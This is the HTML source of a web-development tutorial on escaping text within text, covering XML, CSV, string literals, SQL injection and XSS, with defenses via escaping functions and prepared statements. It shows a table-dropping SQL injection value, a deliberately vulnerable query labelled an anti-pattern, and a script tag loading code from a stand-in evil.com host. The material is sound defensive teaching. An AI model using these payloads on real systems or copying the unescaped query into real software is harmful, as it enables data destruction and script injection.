1<!DOCTYPE html> 2 3<html> 4<head> 5 <title>The Great Escapism (or: What you Need to Know to Work With Text Within Text)</title> 6 <link rel="stylesheet" href="/css/default.css" type="text/css" media="screen"> 7 <link rel="stylesheet" type="text/css" href="/css/prettify/prettify.css" media="screen"> 8
8<script src="/js/modernizr.js" type="text/javascript" charset="utf-8"></script>
8 9
9<script src="/js/prettify/prettify.js" type="text/javascript" charset="utf-8"></script>
9 10
10<script src="https://code.jquery.com/jquery-1.8.3.min.js" type="text/javascript" charset="utf-8"></script>
10 11
11<script src="/js/scroll.js" type="text/javascript" charset="utf-8"></script>
11 12</head> 13<body> 14 15<nav class="top"> 16 <ul> 17 <li class="home"><a href="/">Kunststube</a></li> 18 <li><a title="What Every Programmer Absolutely, Positively Needs to Know About Encodings and Character Sets to Work With Text" href="/encoding/">/encoding</a></li> 19 <li class="selected"><a title="The Great Escapism (or: What You Need to Know to Work With Text Within Text)" href="/escapism/">/escapism</a></li> 20 <li><a title="The Definitive Guide To PHP's isset And empty" href="/isset/">/isset</a></li> 21 <li><a title="Handling Unicode Front to Back in a Web App" href="/frontback/">/frontback</a></li> 22 <li><a title="How Not To Kill Your Testability Using Statics" href="/static/">/static</a></li> 23 <li><a title="Kunststube\Router" href="https://github.com/deceze/Kunststube-Router">\Router</a></li> 24 <li><a title="Kunststube\Rison" href="https://github.com/deceze/Kunststube-Rison">\Rison</a></li> 25 <li><a title="Kunststube\CSRFP" href="https://github.com/deceze/Kunststube-CSRFP">\CSRFP</a></li> 26 <li><a title="Kunststube\POTools" href="https://github.com/deceze/Kunststube-POTools">\POTools</a></li> 27 </ul> 28</nav> 29 30<article class="main"> 31 <h1>The great escapism (or: what you need to know to work with text within text)</h1> 32 33<p>SQL injection attacks, cross-site request forgeries, broken XML, our friend O\'Connor. Scary, scary things that we would all like to protect ourselves against, if only we could wrap our head around the reason why they happen. This article explains the fundamental concept behind all of it: strings and escaping strings within strings.</p> 34 35<h2>The basic problem</h2> 36 37<p>It's all just text. There, that's it. That's the basic problem right there. Pretty much anything in a computer system is represented by text (which in turn is <a href="http://kunststube.net/encoding/">represented by bytes</a>). Only that some text is meant to be consumed by the computer and other text by humans. They're both the same kind of text though. A quick example of what we're talking about:</p> 38 39<pre class="prettyprint"><code><?xml version="1.0" encoding="UTF-8" ?> 40 41<article> 42 <author>David C. Zentgraf</author> 43 <contents> 44 Lorem ipsum dolor sit amet, consectetur adipisicing elit, 45 sed do eiusmod tempor incididunt ut labore et dolore magna 46 aliqua. Ut enim ad minim veniam, quis nostrud exercitation 47 ullamco laboris nisi ut aliquip ex ea commodo consequat. 48 </contents> 49</article> 50</code></pre> 51 52<p>There, text. Some people call it XML, but it's just text. Perhaps we would not submit this to our English teacher like that (not least because it's not English), but it's still just text. You can print it in a book, you can write it in a letter to your mom, it's text.</p> 53 54<p>Yet, we want certain parts of this text to have a special meaning to our computer. We want our computer to be able to extract the author of this text and the text itself separately so it can do something with it. Perhaps to transform the above into this:</p> 55 56<blockquote> 57 <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, 58 sed do eiusmod tempor incididunt ut labore et dolore magna 59 aliqua. Ut enim ad minim veniam, quis nostrud exercitation 60 ullamco laboris nisi ut aliquip ex ea commodo consequat.</p> 61 62 <p>by David C. Zentgraf</p> 63</blockquote> 64 65<p>How would a computer know how to accomplish this? Well, because we helpfully surrounded certain parts of the text by words in funny brackets, like <code><author></code> and <code></author></code>. Because we did this, we can write a program that looks for these specific parts, extracts anything between them and uses that for something of our own devising.</p> 66 67<p>In other words, we used certain <em>conventions</em> and <em>rules</em> within our text to signal some special meaning, which somebody following these rules can use to do something.</p> 68 69<p>OK, fine, that's not so hard to understand. Neither should this be: What if we want to use the funny markers that signify some special meaning in our normal text <em>without</em> having them signify any special meaning? Like, say:</p> 70 71<pre class="prettyprint"><code><?xml version="1.0" encoding="UTF-8" ?> 72 73<article> 74 <author>David C. Zentgraf</author> 75 <contents> 76 Basic math tells us that if x < n and y > n, 77 x cannot be larger than y. 78 </contents> 79</article> 80</code></pre> 81 82<p>The characters "<" and ">" aren't anything special. They may legitimately be used anywhere in any written text like the above. That kind of clashes with our idea of wanting them to mean something special as in <code><author></code> though. Does that mean that in the above text, <code>< n and y ></code> means something special? In a general-purpose markup language like XML, it might. Or it mightn't. It's ambiguous. Since computers are bad with ambiguity though, something is likely to break if we don't clarify here.</p> 83 84<p>To solve this dilemma, we replace the ambiguous characters with something unambiguou
84s:</p> 85 86<pre class="prettyprint"><code><?xml version="1.0" encoding="UTF-8" ?> 87 88<article> 89 <author>David C. Zentgraf</author> 90 <contents> 91 Basic math tells us that if x &lt; n and y &gt; n, 92 x cannot be larger than y. 93 </contents> 94</article> 95</code></pre> 96 97<p>This is now completely unambiguous, as long as we follow these two rules:</p> 98 99<ol> 100<li>The characters <code><</code> and <code>></code> introduce text with special meaning.</li> 101<li>The text <code>&lt;</code> and <code>&gt;</code> really means <code><</code> and <code>></code> respectively.</li> 102</ol> 103 104<p>The technical term for this is that we <em>escaped</em> the special characters when we don't want them to be special.</p> 105 106<blockquote> 107 <p> 108 escape |iËskÄp|<br> 109 verb 110 </p> 111 112 <ol> 113 <li> 114 [ no obj. ] break free from confinement or control<br> 115 ⢠succeed in avoiding or eluding something dangerous, unpleasant, or undesirable 116 </li> 117 <li>[ with obj. ] fail to be noticed or remembered [...]</li> 118 <li>[ with obj. ] Computing: cause to be interpreted differently [...]</li> 119 </ol> 120</blockquote> 121 122<p>If certain characters or character sequences in a text have a special meaning, there need to be rules that specify how to resolve situations where those characters should be used without invoking their special meaning. Or in other words, escaping answers the question <em>"If those them characters are so special, then how can I use 'em in my text?"</em></p> 123 124<p>As you may have noticed, in our little example above the <code>&</code> character has become special now as well. What if we wanted to write "&lt;" without it meaning "<"? The XML answer to that is that the escape sequence for the "&" character is <code>&amp;</code>. Hence, to write "&lt;", we need to write <code>&amp;lt;</code>.</p> 125 126<h2>Other examples</h2> 127 128<p>XML isn't the only case suffering from "special characters". Any source code in any programming language exhibits the same phenomenon:</p> 129 130<pre class="prettyprint"><code>var name = "David C. Zentgraf"; 131var contents = "Lorem ipsum dolor sit amet, consectetur adipisicing elit, 132 sed do eiusmod tempor incididunt ut labore et dolore magna 133 aliqua. Ut enim ad minim veniam, quis nostrud exercitation 134 ullamco laboris nisi ut aliquip ex ea commodo consequat."; 135</code></pre> 136 137<p>This is fairly simple actually. Literal text is clearly segregated from other "non-text" by surrounding double quotes. I can use my math example without any problems here:</p> 138 139<pre class="prettyprint"><code>var name = "David C. Zentgraf"; 140var contents = "Basic math tells us that if x < n and y > n, 141 x cannot be larger than y."; 142</code></pre> 143 144<p>Awesome! No need to escape anything here.</p> 145 146<p>But wait, what if I wanted to quote somebody?</p> 147 148<pre class="prettyprint"><code>var name = "David C. Zentgraf"; 149var contents = "Plato is said to once have said "Lorem ipsum 150 dolor sit amet"."; 151</code></pre> 152 153<p>Hmm, crap. As a human, you can probably tell where the <code>contents</code> text is supposed to start and end, but, again, it has become ambiguous for any computer. We need to come up with some escaping rules that help us differentiate between a literal <code>"</code> and a <code>"</code> that has the special meaning of segregating literal text from other text. Most programming languages use a preceding backslash for that:</p> 154 155<pre class="prettyprint"><code>var name = "David C. Zentgraf"; 156var contents = "Plato is said to once have said \"Lorem ipsum 157 dolor sit amet\"."; 158</code></pre> 159 160<p>A <code>\</code> makes the character following it "non-special". But that also means that the backslash is a <em>special character</em>
160 now. To unambiguously write a backslash without it inadvertently escaping something, we need to write <code>\\</code>, which is the escape sequence that means <code>\</code>. Fun, ain't it?</p> 161 162<p>There's also a cute little informal file format called CSV, which stands for "comma separated values". It's very simple:</p> 163 164<pre class="prettyprint"><code>Year,Earings,Losses 1652010,$114.41,$12.65 1662011,$653.54,$200.53 167</code></pre> 168 169<p>Each line represents a row in a spreadsheet or table with the different columns being separated by commas. Very nice, very simple. But that means that the comma is a character with a special meaning in this file format. What if the value of a column should contain a comma?</p> 170 171<pre class="prettyprint"><code>Year,Earings,Losses 1722010,$114.41,$12.65 1732011,$653.54,$200.53 1742012,$1,323.23,$321.43 175</code></pre> 176 177<p>Why did we earn only a single dollar and what's the forth column for in that last line? Oh, wait, that's just a parsing error due to an ambiguous comma. We can solve this ambiguity by putting all ambiguous values into quotes:</p> 178 179<pre class="prettyprint"><code>Year,Earings,Losses 1802010,$114.41,$12.65 1812011,$653.54,$200.53 1822012,"$1,323.23",$321.43 183</code></pre> 184 185<p>There, that should help.<br /> 186Only, <code>"</code> is a character with a special meaning now. If we wanted to use a quote and a comma together in the same column, I'm afraid we need a rule on how to escape either of them...</p> 187 188<h2>It's hopeless!</h2> 189 190<p>I hope by now you have understood the basic problem. If your text has <em>any</em> characters that signify a special meaning, you will always have to deal with escaping rules. The easiest rule to apply would be that special characters are always special and you cannot use them for your own purposes. So no discussion about math in XML. No quotations by long-dead philosophers in any string literals. No formatted numbers in spreadsheets.<br /> 191That's usually an unrealistic proposal though. What good is a file format that forbids me to use certain characters, especially ones so common as <code><</code>, <code>></code>, <code>"</code> or <code>,</code>? The stupid file format should rather use less common characters!</p> 192 193<pre class="prettyprint"><code>â«?xml version="1.0" encoding="UTF-8" ?⦠194 195â«article⦠196 â«authorâ¦David C. Zentgrafâ«/author⦠197 â«contents⦠198 Basic math tells us that if x < n and y > n, x cannot be larger than y. 199 â«/contents⦠200â«/article⦠201</code></pre> 202 203<p>There we go, much better. Nobody's using â« or ⦠anyway, except for a few eggheads maybe, right? The problem with using less commonly used "special characters" is still the same though. If you really needed to use those characters, you either couldn't, or you needed to escape them. Furthermore, how is anyone supposed to type those into the computer? And on top of it all, we are now required to use an <a href="http://kunststube.net/encoding/">encoding</a> that can actually represent those uncommon characters, which is a deep, deep rabbit hole all in itself.</p> 204 205<p>So special characters and escape sequences are here to stay, for better or for worse.</p> 206 207<h2>Attack!</h2> 208 209<p>It wouldn't all be half so bad if we just needed to escape a few characters here and there by hand. It's somewhat annoying, but not terribly so. The problems start when computer programs write text for other computer programs to read. And no, that's not science fiction, that's being done all the time. This very website you're reading has been constructed out of a <a href="http://daringfireball.net/projects/markdown/">Markdown</a> formatted source, automatically transformed into HTML text and sent to your browser, which has read it and is displaying the result to you now. Nobody has hand-typed this HTML (because it's terribly tedious), a computer program has written the HTML that your browser is reading.</p> 210 211<p>Another very common pattern and source of many many security problems: SQL queries. SQL is a (not so) small text-based language invented to make it easy for any program to talk to a database:</p> 212 213<pre class="prettyprint"><code>SELECT phone_number FROM users WHERE name = 'Frank' 214</code></pre> 215 216<p>Now <em>that's</em>
216 text if I ever saw some. There's virtually no "special" special character in there, it's all basically English. And yet virtually every single word in that SQL sentence has a special meaning. This is being used in programming languages the world over in some form like this:</p> 217 218<pre class="prettyprint"><code>$query = "SELECT phone_number FROM users WHERE name = 'Frank'"; 219$result = mysql_query($query); 220</code></pre> 221 222<p>These two simple lines abstract the terrifically complex task of one program asking another database program for data that matches certain requirements, that database sifting through possibly terabytes of bits and bytes to find that data and returning the results nicely formatted to the requesting program. Seriously, this is some complex shit happening right there, encapsulated in a simple English-like sentence.</p> 223 224<p>To make this useful though, the particulars of a query are usually not hard-coded in a program, but are cobbled together at runtime (and here it comes) <strong>based on user input</strong>. This simple English-like sentence is written dynamically as needed under the direction of a human being, the user:</p> 225 226<pre class="prettyprint"><code>$name = $_POST['name']; 227$query = "SELECT phone_number FROM users WHERE name = '$name'"; 228$result = mysql_query($query); 229</code></pre> 230 231<p>In case you're just skimming this article: <strong><em>This is an anti-pattern! This is the worst thing you could ever possibly do! This is a security nightmare! Kittens die en masse every time you write something like this! <a href="http://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags/1732454#1732454">Cthulhu</a> will devour your soul and kick your dog, too!</em></strong></p> 232 233<p>Having said that, let's examine what's happening here. <code>$_POST['name']</code> is a value that some random user has typed into a random form on your random website. Your program is constructing an SQL query (one of those English-like sentence thingies) using that value as the name of the user you want to find in your database. It then sends that SQL "sentence" to the database which has to deal with it.</p> 234 235<p>That doesn't sound so terrible now, does it? Let's try a few possible values that I might type into your random website and what kind of SQL query would result from that:</p> 236 237<dl> 238 <dt>Frank</dt> 239 <dd><pre class="prettyprint"><code>SELECT phone_number FROM users WHERE name = 'Frank'</code></pre></dd> 240 241 <dt>John</dt> 242 <dd><pre class="prettyprint"><code>SELECT phone_number FROM users WHERE name = 'John'</code></pre></dd> 243 244 <dt>O'Connor</dt> 245 <dd><pre class="prettyprint"><code>SELECT phone_number FROM users WHERE name = 'O'Connor'</code></pre></dd> 246 247 <dt>Joe'; DROP TABLE users; --</dt> 248 <dd><pre class="prettyprint"><code>SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --'</code></pre></dd> 249</dl> 250 251<p>Number 1 and 2 aren't so bad, right? Number 3 seems to break our syntax with the ambiguous <code>'</code>. Damn Irish. Number 4 is outright wacky. Who would do such a thing? It doesn't make any sense...</p> 252 253<p>Except it does to the database that's handling the query. The database has no idea where that query came from or what it was supposed to mean. It only sees that two requests are made of it: find the phone number of a user named "Joe", then delete the users table (which is followed by the comment <code>'</code>). And it will happily comply.</p> 254 255<p>All this <em>shouldn't</em> be entirely news to you. If it is, please read this article again from the beginning now, since you're either very new to programming or have lived under a rock for the past few decades. This example illustrates the basics of an SQL injection attack used the world over to mischievously delete data, suspiciously grab data that wasn't supposed to be grabbed and to maliciously log into systems without possessing access credentials. And all because a database is taking a small English-like sentence a bit too literally.</p> 256 257<h2>Chaaaaaaarge!</h2> 258 259<p>Next up: XSS attacks. They're enabled through the exact same mechanism, only applied to HTML.</p> 260 261<p>Say you solved your database problems and are actually accepting user input, storing it in your database and are outputting it back onto y
261our website to show to other users. That's what a typical forum, bulletin board or commenting system does. Somewhere in your site you have something along these lines:</p> 262 263<pre class="prettyprint"><code><div class="post"> 264 <p class="meta"> 265 Posted by <?php echo $post['username']; ?> 266 on <?php echo date('F j, H:i', $post['date']); ?> 267 </p> 268 <p class="body"> 269 <?php echo $post['body']; ?> 270 </p> 271</div> 272</code></pre> 273 274<p>If your users are nice, they'll quote old philosophers and the posts will look like this:</p> 275 276<pre class="prettyprint"><code><div class="post"> 277 <p class="meta"> 278 Posted by Plato 279 on January 2, 15:31 280 </p> 281 <p class="body"> 282 I am said to have said "Lorem ipsum dolor sit amet, 283 consectetur adipisicing elit, sed do eiusmod tempor 284 incididunt ut labore et dolore magna aliqua. Ut enim 285 ad minim veniam, quis nostrud exercitation ullamco 286 laboris nisi ut aliquip ex ea commodo consequat." 287 </p> 288</div> 289</code></pre> 290 291<p>If your users are eggheads, they'll talk about math and the posts will look something like this:</p> 292 293<pre class="prettyprint"><code><div class="post"> 294 <p class="meta"> 295 Posted by Pascal 296 on November 23, 04:12 297 </p> 298 <p class="body"> 299 Basic math tells us that if x < n and y > n, 300 x cannot be larger than y. 301 </p> 302</div> 303</code></pre> 304 305<p>Hmm, there we have those troubling brackets again. Well, technically speaking they may be ambiguous, but the browser will forgive us this one, right?</p> 306 307<pre class="prettyprint"><code><div class="post"> 308 <p class="meta"> 309 Posted by JackTR 310 on July 18, 12:56 311 </p> 312 <p class="body"> 313 <script src="http://evil.com/dangerous.js" 314 type="text/javascript" charset="utf-8"></script> 315 </p> 316</div> 317</code></pre> 318 319<p>OK, wait, what just happened? Some joker actually input a Javascript tag into your forum. Anybody looking at this post now downloads and executes a script in the context of your site, which might do who-knows-what. That ain't good.</p> 320 321<h2>Not to be taken literally</h2> 322 323<p>In both the above cases, we just want some way to tell our database and the browser respectively that <em>this part here is just some value, you're not supposed to <strong>do</strong> anything with it!</em> In other words, we want to remove the special meaning any characters may have in any of the data a user gives us, because we don't know and don't trust what the user gives us.</p> 324 325<p>...</p> 326 327<p>Yes, you there, in front of the computer. What's that? <em>"Escaping"</em> you say? Why yes, that's the correct answer! Take a cookie.</p> 328 329<p>If we escape any user data before we merge it with the rest of our text, the problem is solved. For our database queries, this would look like this:</p> 330 331<pre class="prettyprint"><code>$name = $_POST['name']; 332$name = mysql_real_escape_string($name); 333$query = "SELECT phone_number FROM users WHERE name = '$name'"; 334$result = mysql_query($query); 335</code></pre> 336 337<p>Just one more line of code, but now nobody can "hack" our database anymore. Let's see again how different user input turns into SQL queries:</p> 338 339<dl> 340 <dt>Frank</dt> 341 <dd><pre class="prettyprint"><code>SELECT phone_number FROM users WHERE name = 'Frank'</code></pre></dd> 342 343 <dt>John</dt> 344 <dd><pre class="prettyprint"><code>SELECT phone_number FROM users WHERE name = 'John'</code></pre></dd> 345 346 <dt>O'Connor</dt> 347 <dd><pre class="prettyprint"><code>SELECT phone_number FROM users WHERE name = 'O\'Connor'</code></pre></dd> 348 349 <dt>Joe'; DROP TABLE users; --</dt> 350 <dd><pre class="prettyprint"><code>SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --'</code></pre></dd> 351</dl> 352 353<p>Just a tiny <code>\</code> makes all the difference. It helps our friend O'Connor (blessed be the Irish) to write his name into our database and subverts attacks against our database at the same time. Even little <a href="http://xkcd.com/327/">Bobby Tables</a> can sign into our forum now. <code>mysql_real_escape_string</code> indiscriminately puts a backslash in front of anything that may have some special meaning. What exactly those special characters are depends on your database version, character set and the moon ph
353ase, and <code>mysql_real_escape_string</code> tries to handle all of that correctly. Which is to say, it's not as simple as replacing all occurrences of <code>'</code> with <code>\'</code> yourself, so don't try it.</p> 354 355<p>Next up, we change our forum script to this:</p> 356 357<pre class="prettyprint"><code><div class="post"> 358 <p class="meta"> 359 Posted by <?php echo htmlspecialchars($post['username']); ?> 360 on <?php echo date('F j, H:i', $post['date']); ?> 361 </p> 362 <p class="body"> 363 <?php echo htmlspecialchars($post['body']); ?> 364 </p> 365</div> 366</code></pre> 367 368<p>We apply the <code>htmlspecialchars</code> function to all user data before outputting it. That simply applies the HTML/XML escaping rules we discussed at the very beginning.</p> 369 370<pre class="prettyprint"><code><div class="post"> 371 <p class="meta"> 372 Posted by Plato 373 on January 2, 15:31 374 </p> 375 <p class="body"> 376 I am said to have said &quot;Lorem ipsum dolor sit amet, 377 consectetur adipisicing elit, sed do eiusmod tempor 378 incididunt ut labore et dolore magna aliqua. Ut enim 379 ad minim veniam, quis nostrud exercitation ullamco 380 laboris nisi ut aliquip ex ea commodo consequat.&quot; 381 </p> 382</div> 383</code></pre> 384 385<p>The quotation marks are replaced by <code>&quot;</code>. This wasn't strictly necessary here, but in <em>some</em> contexts the double quote is a special character in HTML (for example in <code>class="body"</code>), so <code>htmlspecialchars</code> escapes it.</p> 386 387<pre class="prettyprint"><code><div class="post"> 388 <p class="meta"> 389 Posted by Pascal 390 on November 23, 04:12 391 </p> 392 <p class="body"> 393 Basic math tells us that if x &lt; n and y &gt; n, 394 x cannot be larger than y. 395 </p> 396</div> 397</code></pre> 398 399<p>The angle brackets were made unambiguous by replacing them with <code>&lt;</code> and <code>&gt;</code>.</p> 400 401<pre class="prettyprint"><code><div class="post"> 402 <p class="meta"> 403 Posted by JackTR 404 on July 18, 12:56 405 </p> 406 <p class="body"> 407 &lt;script src=&quot;http://evil.com/dangerous.js&quot; 408 type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; 409 </p> 410</div> 411</code></pre> 412 413<p>And our joker's attempt at injecting some Javascript into our page was subverted as well by escaping anything that would give the <code><script></code> tag its special meaning. Now it's all really just text.</p> 414 415<p>Please note that the values are not "broken". They may appear garbled in the example above, but they will appear exactly as they should. Any browser that's parsing this HTML to display a nice webpage will follow the escaping rules laid out at the very beginning:</p> 416 417<ol> 418<li>The characters <code><</code> and <code>></code> introduce text with special meaning.</li> 419<li>Any <code>&lt;</code> and <code>&gt;</code> really means <code><</code> and <code>></code> respectively.</li> 420</ol> 421 422<p>(Actually, there should be a third rule regarding <code>&quot;</code> now, but you get the idea...)</p> 423 424<p>The same goes for our database queries. Our friend O'Connor will be saved to the database as "O'Connor", not as "O\'Connor". To the database that's reading the SQL query to figure out what it's supposed to do, the <code>\</code> has the special meaning of <em>"the following character has no special meaning"</em>. The special character <code>\</code> itself is not saved to the database. Yes, with "special characters" it goes round and round in circles. Some extreme outgrowth of that is that the text "\\'\'" is escaped to <code>\\\\\'\\\'</code>. The <code>\</code> escapes the <code>\</code> which escapes the not-escaping <code>\\</code> which... Oh, whatever. That is why you should not do this yourself but use a specialized escaping function that has no mind to boggle but knows what it's doing.</p> 425 426<h2>Which brings us back to...</h2> 427 428<p>All the above demonstrates a problem common to many systems: Text within text needs to be escaped if it's not supposed to have any special meaning. Putting text values into SQL queries, these text values need to be escaped according to SQL escaping rules. Putting text values into HTML output, these text values need to be escaped according to HTML escaping rules. Putting text values into CSV files, these text values need to be escaped according to CSV escaping rules. Putting text values into JSON strings, these text values need to be escaped according to JSON escaping rules. <strong>Putting text values into (name of technology) strings, these text values need to be escaped according to (name of technology) escaping rules.</strong> That's all there is to it.</p> 429 430<p>Because it's all just text. <em>You</em> may know that <em>this</em> part there is not supposed to be taken literally, but a computer that's only given a piece of text can't know and won't know. That's what escaping rules were invented for, which a computer can follow very nicely. You only need to understand this concept once, it can be applied to virtually any text format used in virtually any computer system to date.</p> 431 432<h2>For the sake of completeness</h2> 433 434<p>There are of course other ways to deal with user input which may or may not contain "special characters":</p> 435 436<dl> 437<dt>Validation</dt> 438<dd>You may validate whether some user input conforms to certain specifications. If you require a user to enter a number, but the user enters something that does not look like a number, the program should complain to the user and reject the input. If that works correctly, there should be no risk of a user entering "DROP TABLE users" where he was supposed to enter a harmless "42". This is not very practical to avoid HTML/SQL injection though, since oftentimes you <em>want</em> and <em>need</em> to accept any sort of freeform text which often legitimately can contain "special characters". You usually want to use validation <em>in addition</em> to other measures.</dd> 439 440<dt>Sanitization</dt> 441<dd>You may also simply silently remove any characters you deem "dangerous" from any user input. For example, simply delete anything that looks like an HTML tag to avoid users adding <code><script></code> tags into your forum. The problem with sanitizing text is that you may indiscriminately drop legitimate values. It c
441an also be rather difficult to get right, i.e. to catch every last possible permutation of special characters. This is <em>extremely</em> difficult to get right if you want to allow your users to use <em>some</em> special characters but not others, e.g. you want to allow your forum users to use the <code><em></code> tag but not the <code><a></code> tag. If you go for sanitization, use some well-tested library that's specialized in sanitizing text. This particular wheel can be very time consuming and difficult to reinvent.</dd> 442 443<dt>Prepared SQL statements</dt> 444<dd> 445<p>Specifically for SQL queries, there are also <em>prepared statements</em>. These do exactly what you wanted all along: make the database understand the difference between <em>your</em> part of the SQL query and the <em>user supplied values</em>. In PHP, they look something like this:</p> 446 447<pre class="prettyprint"><code>$stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); 448$stmt->execute($_POST['name']); 449</code></pre> 450 451<p>This sends the query to the database in a two-step process which clearly distinguishes between <em>the query</em> and <em>the value</em>. The database has a chance to understand the structure of the query first and fill in the values afterwards. This should be the preferred method to interact with databases in this day and age, since it avoids the messy issue of escaping altogether.</p> 452</dd> 453</dl> 454 455<p>In the real world, you use all these techniques together to varying degrees. You should always use <em>validation</em> to make sure the user is inputting what he's supposed to be inputting. If you ask the user for an email address, you should make sure that what you're getting at least looks like a valid email address. Next, you may or may not want to <em>sanitize</em> any input. If a user is clearly trying to inject some Javascript into your forum, you may just want to delete it. Unless of course you have a forum where people may legitimately want to talk about Javascript. As said above, sanitization is a tricky business. Next, you always, <em>always</em> SQL-escape any user values before putting them into SQL queries or, alternatively, use prepared statements. Last but not least, you should HTML escape any text of unknown quality when outputting to HTML (or JSON encode when outputting to JSON, or CSV escape when outputting to CSV etc.).</p> 456 457<h3>What <em>not</em> to do</h3> 458 459<ul> 460<li>Don't use the wrong escaping method. Different text formats have different "special characters" and different escaping rules. HTML escaping a string will not protect against SQL injections and vice versa.</li> 461<li>Don't escape until you need to. There's no point of HTML escaping a string when putting it into a database (even if you additionally SQL escape it). Yes, you will <em>probably</em> output that string in HTML at some later point and it will already be correctly HTML escaped then. But until then your string is actually garbled. <code>&quot;x &lt; n&quot;</code> is <em>not</em> the same as <code>"x < n"</code>. What is it doing in your database?</li> 462<li>More escaping doesn't mean more security. <code>mysql_real_escape_string(my_custom_sanitize(htmlspecialchars(strip_tags(trim($string)))))</code> is not anymore secure than <code>mysql_real_escape_string($string)</code> in the context of an SQL query. If you consciously and carefully want to apply sanitization to your user input, that's fine. But for the sake of SQL injection prevention, correctly SQL-escaping <em>once</em> is enough.</li> 463<li>Escaping escaped text just garbles it more. <code>htmlspecialchars('"x < n"')</code> results in <code>&quot;x &lt; n&quot;</code>. That's actually garbled text, <em>but</em> if read according to HTML rules, it actually means <code>"x < n"</code>, which is what we want. If you escape this again though, it will become even more garbled. A JSON encoded HTML escaped SQL escaped C-backslash escaped URL encoded string is a terribly garbled string and needs to be un-escaped in exactly the reverse order to ever become the original string again. Don't escape more than necessary and only if you know
463why you're escaping in the first place.</li> 464</ul> 465 466 <h2>About the author</h2> 467 468 <p> 469 David C. Zentgraf is a web developer working partly in Japan and Europe and is 470 <a href="http://stackoverflow.com/users/476/deceze">a regular</a> on <a href="http://stackoverflow.com">Stack Overflow</a>. 471 If you have feedback, criticism or additions, please feel free to try <a href="http://twitter.com/deceze">@deceze</a> on Twitter, 472 take an educated guess at his email address or look it up using <a href="http://en.wikipedia.org/wiki/Whois">time-honored methods</a>. 473 This article was published on <a href="http://kunststube.net">kunststube.net</a>. And no, there is no dirty word in "Kunststube". 474 </p> 475</article> 476 477<footer> 478 <p> 479 <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/3.0/"><img alt="Creative Commons License" src="https://i.creativecommons.org/l/by-nc-sa/3.0/88x31.png" /></a><br /> 480 <span xmlns:dct="http://purl.org/dc/terms/" href="http://purl.org/dc/dcmitype/Text" property="dct:title" rel="dct:type">The Great Escapism (or: What you Need to Know to Work With Text Within Text)</span> by <a xmlns:cc="http://creativecommons.org/ns#" href="http://kunststube.net" property="cc:attributionName" rel="cc:attributionURL">David C. Zentgraf</a> is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/3.0/">Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License</a>. 481 </p> 482 <p>Last updated on Monday, November 5th, 2012.</p> 483</footer> 484 485
485<script type="text/javascript">prettyPrint();</script>
485 486
486<script type="text/javascript"> 487 var _gaq = _gaq || []; 488 _gaq.push(['_setAccount', 'UA-3563990-1']); 489 _gaq.push(['_trackPageview']); 490 491 (function() { 492 var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; 493 ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; 494 var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); 495 })(); 496 </script>
496 497</body> 498</html>
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.